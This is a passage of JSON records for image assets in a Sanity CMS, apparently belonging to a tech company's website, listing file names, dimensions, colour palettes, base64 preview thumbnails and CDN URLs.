magePaletteSwatch","background":"#7a360a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#999af7","foreground":"#000","population":3.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c1d0","foreground":"#000","population":2.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#999af7","foreground":"#000","population":3.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#808b8d","foreground":"#fff","population":3.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e46613","foreground":"#fff","population":3.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8125d2671b7375feae6bf00ee49e8b610b0f0dfd-923x335.png","path":"images/sczeoy4w/production/8125d2671b7375feae6bf00ee49e8b610b0f0dfd-923x335.png","sha1hash":"8125d2671b7375feae6bf00ee49e8b610b0f0dfd","size":50555,"uploadId":"H1uYx1jcFOnAQd7ZGkaGox2mgRy6Fu32","url":"https://cdn.sanity.io/images/sczeoy4w/production/8125d2671b7375feae6bf00ee49e8b610b0f0dfd-923x335.png"} {"_createdAt":"2022-06-30T19:56:28Z","_id":"image-8140fb641c1df6ebcb4ce644485a48aafa571567-750x385-png","_rev":"CK1sLU2mnwa3vmbYWEb8R1","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:43Z","assetId":"8140fb641c1df6ebcb4ce644485a48aafa571567","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4S$ov4nHq?bMy?^9Eo|iwtR^OyD9bt,r;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.948051948051948,"height":385,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABEklEQVQokXWSzW4CMQyE9/2fj0Nv5UAr6O7Gzr8d22mVIFRA8CmKZCmTeMZZvPcACABuADgJITBz773/vqZPFkR0MIgx1UrcBiKiqt3M+mt0sgTvcTwMGGOuRG3ozEzNmhiJyagGT2IRWYrf/H7Z3b4jovcQ05YoslDTPdtXsFCVm7CMS3p/bLvCafv+PF/ODl3AbQV/dGXNLZGe0D5WW6MU4lyZRZ9SWGoEhM0h+BhTij4XKJybUlMs9pMsVWWRNs30xwCXEMLoN4SYcyHmO8+qw/Csnj33PtIcaYNzIYRSChGNqP+Pz3XjXjZQXdLkqiQiZhaRNwO6RS2iOYv3y3Viem117u+/xsB655TK8VgOhz9uvUeOEounvAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#605755","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d5c98","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a9b7be","foreground":"#000","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9b7be","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#71c8fc","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#907980","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2261e","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8140fb641c1df6ebcb4ce644485a48aafa571567-750x385.png","path":"images/sczeoy4w/production/8140fb641c1df6ebcb4ce644485a48aafa571567-750x385.png","sha1hash":"8140fb641c1df6ebcb4ce644485a48aafa571567","size":20897,"uploadId":"TzeWgUiZoBuJKo6YiwCmdHgw2eJFdcAs","url":"https://cdn.sanity.io/images/sczeoy4w/production/8140fb641c1df6ebcb4ce644485a48aafa571567-750x385.png"} {"_createdAt":"2024-06-10T15:23:01Z","_id":"image-81ce278b4d374fff2f1db9b17532b42e2b6b24a5-3024x1690-png","_rev":"rE19qWqXtwbnyVyXl5PhVg","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:23:01Z","assetId":"81ce278b4d374fff2f1db9b17532b42e2b6b24a5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M14.G6_NozWExuoeoIjXjrWBk9Rjogogog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7893491124260354,"height":1690,"width":3024},"exif":{"PixelXDimension":3024,"PixelYDimension":1690,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABdUlEQVQokX2TWY6DMBBEuUcmIex4wbshkeZr7n+nGnWzhGiWj5JBMs/V5aIIOSHkCBc9jDPQRrPUpCH1hFFN6IVGLxQ6odCOAnU/ou4G1O2Aqu1Z9NwMAkWcF8T5gZAWuJBgfYRxHhMrQBsHoQ0GuUKbfsS97nCrmpfuDcqqZXDh04yQH4j5gZAXhDTDxQwXMqxP0MZDagOhDEap0XQjAz5u1ZuuZc0HFeSI3BEwMnCBjzN8zDAubqDpWM/Ay/V+iN7LukVhTsBwAFeH2nqG/AXcdSFg+Q+QYJTnZAODpLZQW5Zt/+7wY1uPkVfgfIzLGW757UCSmizfODmkj38DVnQpJqQfGe5AgnSDRNuLY62a7gCeR77ea65S4edPxPxk2AGMu0MPSSNvLs8Zni9kd8jA+PyCTw9Y7mACRUD9I5h1Hs55GOu3+qyOqXPsrlzrQs90CHW0cOnJm/es9gKTRqEghMIgJLpRoh0Eu6DwWc1L9KfQnm/wsEaqySIm8AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544c2c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#163a6a","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8d99bc","foreground":"#000","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8d99bc","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fadda","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#445494","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c549c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"send-data-from-mastodon.png","path":"images/sczeoy4w/production/81ce278b4d374fff2f1db9b17532b42e2b6b24a5-3024x1690.png","sha1hash":"81ce278b4d374fff2f1db9b17532b42e2b6b24a5","size":2141364,"uploadId":"TT8M2zF2Ewh6q6CWUSIBzG5jfmGZIHfT","url":"https://cdn.sanity.io/images/sczeoy4w/production/81ce278b4d374fff2f1db9b17532b42e2b6b24a5-3024x1690.png"} {"_createdAt":"2022-12-09T16:04:37Z","_id":"image-81dda0a14fa173799904a361bacfc31133b49bf2-690x413-jpg","_rev":"cwf6PSmkIH3MXtFHz0YsWR","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T16:04:37Z","assetId":"81dda0a14fa173799904a361bacfc31133b49bf2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFCP/EACAQAAEEAgEFAAAAAAAAAAAAAAIAAQMRBBITITFBUXH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANRZu/DUZsDu/V39JLGFxlEoZD1uiaTz8VDIiCaJxNrZJ4eMHLsRGbj22e6RFBCEIr//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58615d","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f6535","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dff5e6","foreground":"#000","population":3.37,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4dccd","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dff5e6","foreground":"#000","population":3.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#768c7c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3cc267","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"compliance-badge-soc2.jpg","path":"images/sczeoy4w/production/81dda0a14fa173799904a361bacfc31133b49bf2-690x413.jpg","sha1hash":"81dda0a14fa173799904a361bacfc31133b49bf2","size":7800,"uploadId":"F32d4VPLYyzftisPfHQlGrve2pxdZnp2","url":"https://cdn.sanity.io/images/sczeoy4w/production/81dda0a14fa173799904a361bacfc31133b49bf2-690x413.jpg"} {"_createdAt":"2022-06-23T12:15:36Z","_id":"image-81e93db239a4672bdba96a72eb9b0093b8b0c80b-800x800-jpg","_rev":"qkpX9b3U0TpOGFQp8zW3i9","_type":"sanity.imageAsset","_updatedAt":"2022-06-23T12:15:36Z","assetId":"81e93db239a4672bdba96a72eb9b0093b8b0c80b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDHKw,t80=W=~XETfk-PofD%AvayvzkCIUx]afVsj?jGOrs:MwWBs:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUGA//EACQQAAIBBAEDBQEAAAAAAAAAAAECAwAEBRESBgchEyIyQYFR/8QAFgEBAQEAAAAAAAAAAAAAAAAABQQD/8QAHREAAgMAAgMAAAAAAAAAAAAAAAECAxEzkQQhgf/aAAwDAQACEQMRAD8AnXd8mFltYlsXu5p9hEXwN1zmzNzirZjn8XcLDJ8JPB4n8rvPI7dwMZb3EZNrwIX+bNVO4EEadM3b8CJfakRZt6O6wuvlGzExPx66nVsopv6SHx8c4WVU9rqGGx51SrOIilOLtTdEGb0xyOqUhH2tC5PG0YrpzM3mY7hWsF4ymKB24Ko19fdbTuxCmO6RmmtQQ/qq2yd+d0pR13N0XUcXZgcN1nlbiwR5jAzAld8PoftKUpBMgP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4c64","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#691f1b","foreground":"#fff","population":10.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#691f1b","foreground":"#fff","population":10.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7b3a4","foreground":"#000","population":1.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edab9d","foreground":"#000","population":0.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986754","foreground":"#fff","population":5.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c33233","foreground":"#fff","population":0.34,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"andy-grunwald.jpg","path":"images/sczeoy4w/production/81e93db239a4672bdba96a72eb9b0093b8b0c80b-800x800.jpg","sha1hash":"81e93db239a4672bdba96a72eb9b0093b8b0c80b","size":100846,"uploadId":"9tX4G99zSAwn2reaoKc9kdRj8dn66Rla","url":"https://cdn.sanity.io/images/sczeoy4w/production/81e93db239a4672bdba96a72eb9b0093b8b0c80b-800x800.jpg"} {"_createdAt":"2022-06-15T20:01:28Z","_id":"image-82b6e26f0659d9029fe0c4a68d014ab345af0720-752x405-png","_rev":"ecafYeJdFUSoqAVEkXNNLi","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:50:55Z","assetId":"82b6e26f0659d9029fe0c4a68d014ab345af0720","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNQJcgxsE1%2-;?bV@i_M|oc~qxuxuM{M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACWElEQVQokR2SW0/aYABA+6dn5NFszESzLXPqiHEvziV72BSVyQaCLcjdIreWtlBpS7n1Slu+fl/pV7LoeT8PJzlECFZr20LO0l+tIAqCEIdRFOIIR5voBRziwAO+brpLBwAYABj4ECG0DkNMYB/AqaqJQ0WSFpruowBHm1dzE2GM1z4E2mSmMsKYF2fTub10gLcCqxWAMCAChBayxDTpVrMpDEXDsn0IwzCMoiiAvmvMLG2oTkReHLdZpc3InKAK/PNoOHIcjwAA8BxPkWQ+nyuVqz2GlRXFdV2M155lymx/JAizxVzXTVXVOWFSf+Qyt1SFqpmGTXi202o0U9c3yWTyMnl1c5MiSVKSJISgO9fEamfYERdTwzEs27D1ucVxo9vru2ya0hYG4ZoWlcl9/vhpb29vf38/Ho8fHnyplCuu6/q6NWnxz4wyU03bsGxtqo1lkRskL7Lff/wZigqxNMx/qdu3Ozvb27FYLLb1Zms3/v4uk9V13Vs604HSoQetniKPp4vRo/yUpikycXL57uCiUOcI2zSpfO7b6enR8dfDo+NEInF+fl4gKZZhh8KA7bLUfS2dbVTrPYHO9qmz3O9fux9+xo4zVw8C4bku2+sWi0WqUCyWyqVypVqr0Y90/aHUoAp04aFBleh6p90edOin+n0+c5k+Pft7knoiuyqBUGBbljbXdM146TIsTTc0TZ+L0pzhFkxf5wfLmWYZtqrMeHbU7w5YTuJkXTVcIoo2YRBiH2G0xq9vBWuMAryGQQRgBPwI+BihEAEEXM/1XMfzAYQ+hL7/H9RCMgu6+K9ZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323651","foreground":"#fff","population":1.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90642c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfc7d4","foreground":"#000","population":3.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfc7d4","foreground":"#000","population":3.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5fbbf1","foreground":"#000","population":0.5,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0576b","foreground":"#fff","population":1.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8c442","foreground":"#000","population":0.88,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"82b6e26f0659d9029fe0c4a68d014ab345af0720-752x405.png","path":"images/sczeoy4w/production/82b6e26f0659d9029fe0c4a68d014ab345af0720-752x405.png","sha1hash":"82b6e26f0659d9029fe0c4a68d014ab345af0720","size":46723,"uploadId":"xT8Kz2emlRFDp6uItwlVXFyLXvwqP3et","url":"https://cdn.sanity.io/images/sczeoy4w/production/82b6e26f0659d9029fe0c4a68d014ab345af0720-752x405.png"} {"_createdAt":"2023-11-10T20:47:23Z","_id":"image-82b847d72d403552c5d919a210c16903aae1a9b6-360x252-png","_rev":"1h3WMBnk967znzaf4WO1OT","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T20:47:23Z","assetId":"82b847d72d403552c5d919a210c16903aae1a9b6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VFHCM~R40qtSY+.TbvE1jE#Q00o#Uuadys4:aJ={kXNe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4285714285714286,"height":252,"width":360},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEGklEQVQ4jS2UW0yTdxTAD7IRZzRxDzP45PawW4jb4l4W2R73si2LBuU6CMRtaHDqBmFTyFBAilLuUFt6+b7/136lhULXchUBjRXGmDCBbbLihUGV2u9rsWjrNtpzljae5Dyc8/DL75ycHBBkAsFPYPQj8H4CNv83qO4FgYiA+/HbpJG2quRpVr93Rmx6z8Up9zjaqrady/8cTCsbAERg8EZAkBF4H8UzDos3vBEwE0F3iBJ0iw93iLbuN28ILQfv9+srfdc6TdJ1q2XtqrlxcYDlD/Xb3uduLb1i3KAXjxFBi+susOfQOJB/RKD6dRZM3n+3sgC9xf3pyet12NsXbB031q9bHz6bcYb+me0Lh286ZO8165zrssMizi2VcL5oqslPO/nVjQTjehSYTABMQuB8BIIUeUmQaT/vi9ax+Xszg73WwFKPelMaF+nxpI2eTttpY6qH1q6YolMDXaHO2cW73NqmRZApg/kiu4yB54btSwhMjiYKEr7LJGrhPOEVcWImMi5q6a/OFnL3qnG5T4e+USOuDHG4aFPhZJeeLBM3yeAJB5lMg0zCg0zGHYIfY4YUm3+nIOFRXqI/+OUgmi9fwZEOJbq72nB1kMNVpxbX+nS42q/He04tTnd1oOXKOBqWg8Qk8jMJLzEZ3+6JEgD3KA58jUnYzEsU4D1h0o260Nh8EX/hlOi2a3COr8dZtQIXjE3x2tWtJ9PVCTSsPI0BI0zCa0zGj8UgbQHDWmyZ+DqTUMMkCvLeCLW6ZrFWUYXashNorS6l7opi6i47RbazJdijrEDRbCTDb3eQ824ikyjKJPyZyfSp6TEmgrAeP5vdzBet4L2bD3R3JGpyOKJVZcfx7NfpWF34BSqLCrDp+BGsLyrA2tIT2Gixoe5uAJlMMcNnTEI7k/ED8wYlwAARGIO0lfOEPtHPu4c7Bu0hVWsZqcqzsbk4DRVF6dELRXnYVlyImtJj2HjmG1RyOtTcchPnCUV47+ZtJmEJkylZeEIADR8BuIhAO7OQrLN2HGEt342ZFbmBzuqMqFiZTtryDNKW5VN/ww90VV1JYs0Jaq09RRpLR1g/Mfm7wf1AwXv/e8cUoBcgFrryNNjzYRrUnz++xXg+e3fvhcxDzroszU8Xs6ZtikyPqTL9sXAuJ9TXfDI0fKn8iammUOLPZd0WGwrtjKs5qR3uS9Evryd9RgTt/U6Akgu1YLVrIAsA7jhKYKStYPtgU27KQEPOYUdd9hlrTUabuTpDMNfkiYaqL3XailxFlyLzq766jFRb1YFd+qP7EseIYHBMBHWnGqB8fxLwB7aD2mmFo8IQUE8qtJ4+DAMNOUlDjTkv99fnvOpUZqd01WTuVZ0+9Ebr94eSuy/mbpsabtySB7H/QGDeINDf94NqdAT+B5PO1QrYeX0YAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e4137","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a3e1f","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a3ebfa","foreground":"#000","population":15.01,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abcccc","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3ebfa","foreground":"#000","population":15.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a35d52","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c89c54","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Sayle Matthews cropped (1).png","path":"images/sczeoy4w/production/82b847d72d403552c5d919a210c16903aae1a9b6-360x252.png","sha1hash":"82b847d72d403552c5d919a210c16903aae1a9b6","size":60594,"uploadId":"x1GYlBV5lJl4SrESXUJQq2lul7oaDiO5","url":"https://cdn.sanity.io/images/sczeoy4w/production/82b847d72d403552c5d919a210c16903aae1a9b6-360x252.png"} {"_createdAt":"2023-10-10T11:40:33Z","_id":"image-831fb87e964b1f99680e659a337eea8f419a1b8a-1384x441-png","_rev":"O8L03TCW3b6GOcRVacHUJG","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T11:40:33Z","assetId":"831fb87e964b1f99680e659a337eea8f419a1b8a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1383219954648527,"height":441,"width":1384},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAsklEQVQYlXXPS44DMQgE0L7/XTMKbQPF15HdSnZTax4U12vnb4xh5hHJDKLxft9E930PZtEdU43MrmqgBkdEda+LdwSwiMwsIETAonKUmcVORlRVdy/3BjKz11oXAFUAeOYA/2E5C8zMT7bofTzzrPlh1Y3dQ9UnY7Iw85xPKTz8Xwxgl8sEnFn5YJH9DizM07+1zUtx+FqXKp73HjzZiJhoENEY8+CE1cGre8GKJSI3/gC5Nl3+bx7UwQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444c80","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#202a63","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6e738b","foreground":"#fff","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aeacd0","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccdcfc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e738b","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2f3d8f","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"rest-connect-enabled.png","path":"images/sczeoy4w/production/831fb87e964b1f99680e659a337eea8f419a1b8a-1384x441.png","sha1hash":"831fb87e964b1f99680e659a337eea8f419a1b8a","size":24424,"uploadId":"WP1zAuta5svTtcVcxHzeDNG0JHhcI34F","url":"https://cdn.sanity.io/images/sczeoy4w/production/831fb87e964b1f99680e659a337eea8f419a1b8a-1384x441.png"} {"_createdAt":"2024-04-05T01:02:03Z","_id":"image-836a9e805b47b2d90e957bda89dbb36ef6141cd7-1567x844-png","_rev":"o6EKmUZPKElQbhROBpUvAA","_type":"sanity.imageAsset","_updatedAt":"2024-04-05T01:02:03Z","assetId":"836a9e805b47b2d90e957bda89dbb36ef6141cd7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBo^N0c#+k]+Wx?Ow}O5Yog-qVrEm$exB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADBElEQVQokVXQaU/bBQCA8f8HcIGNXkBbunalBMoEOTKgrT1ogR5ADwr0YPQCe9DRdSywso5rZDBcMueq8mJmbC7GZCKJQ8yIJmpMNME3ZnthYkx84dd4DFli4hf4Jc8jVMvGECsmkShDiJURJMppZKoUter3qFPnkGsLKHQLKHSLKJuWOa/foLm7QoflS3oHvmZytMLD2Sw/3/Tz99YAgrQhhL4jTZdhns6+q3SbrtNjLtFnLXPJvEKPZR2D/Q4G+zamgXvY3BVcY5/hjX5LMPY92dQzPiqucFyO8fv6MIJcE6XXXMThXsbhKeP23WZkbIvR4A5u/w5O7z1c/vsMBx/iC+0yfvkxkdRzprPHJPI/kMt9xWb+LnvzWfYLYQSFdgqjbQHn6C2GRlYYHFnDOrSKyb6KwbZGr3WDHusmRsddbK772IcrOP2P8UUPCMaOCIeeUvSX2PQnWfHOINSpI1wyFbC7l7EOlug2XkfbOodcm0XRmEepu4qyaQFV8xKa1jK69tt0GCtYPV/g8u8T97zPtmOcBzYnt8wTCOdqgygbL6PVp9C0zKDQphArE9TIk4gUacQNc0hUBaTqa8g0S6haNuh8dxeH94DA5CE3xu6w77Lwwt7OI6sF4S2xnzOSAFXSINWySc7WRTlXH0OkOIUzyFR5GrRXaGopoG+9xsXODUyDe3gjL4kkf6QQ+ZRdT5jPB2x82O9DOCP2USXxUy0Lcrb2/6BImaZOPUdXW4ZQf5KMO8G0Z5FA8Cnh1E/EcyeEp44JOz8h3r/NhO0DBJHEi0oeQH0hirIxjlQVo+Y/MINCk8PVl2Q7MsHzvJe9K7MsZveYnT8hs/CaicQvGIeO6LYd0mX7BkEq9aJrCNDcPM0F/Qx16tN/MUTyN6Bck8NtSPJxIsBJeZBfN6Z4UHpC8cZrijf/Ipr+DYPzJe2WI9rMhwhVYh81Uj+i+nFE8jA19VNvkuWnD9PIzs/R806arfA4r9bs/LET5tH6M0qrf7K0/g/x/CtM7u9oM7/gbdMB/wL2bbjaYj3lbQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4475","foreground":"#fff","population":1.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141b6c","foreground":"#fff","population":8.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141b6c","foreground":"#fff","population":8.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4aca4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88e4","foreground":"#fff","population":1.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5cae","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df4b11","foreground":"#fff","population":1.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"The top two misconceptions as FSI compliance requirements tighten.png","path":"images/sczeoy4w/production/836a9e805b47b2d90e957bda89dbb36ef6141cd7-1567x844.png","sha1hash":"836a9e805b47b2d90e957bda89dbb36ef6141cd7","size":258357,"uploadId":"jR2dQPEQ2EwPJX8oYAaqeyOITUloEBgb","url":"https://cdn.sanity.io/images/sczeoy4w/production/836a9e805b47b2d90e957bda89dbb36ef6141cd7-1567x844.png"} {"_createdAt":"2022-06-30T20:00:12Z","_id":"image-836c3ecf350c0f324a3401cbcd5e3b18226ed3e7-1567x792-jpg","_rev":"ecafYeJdFUSoqAVEkXNl7k","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:00:46Z","assetId":"836c3ecf350c0f324a3401cbcd5e3b18226ed3e7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBRyd2G[#8?bb^v2*JVEbvpIv~tlVYxut7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9785353535353536,"height":792,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBAUH/8QAIRAAAgICAQQDAAAAAAAAAAAAAQIDBAAREgUGIXETMWH/xAAWAQEBAQAAAAAAAAAAAAAAAAABAgP/xAAbEQEAAgIDAAAAAAAAAAAAAAABAAIDEQQSMf/aAAwDAQACEQMRAD8A77JJWa/aa5eljdZNBBIQAPWTQRp1CK7BWtytBrjvlvyf3NirDG7SFo0Y8vsqDltY0QHgir6GsPZQtXZFbp3a8NOv8YsWiS3I7k35wxqAGsMOpNrcrLZ2s//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505034","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.ima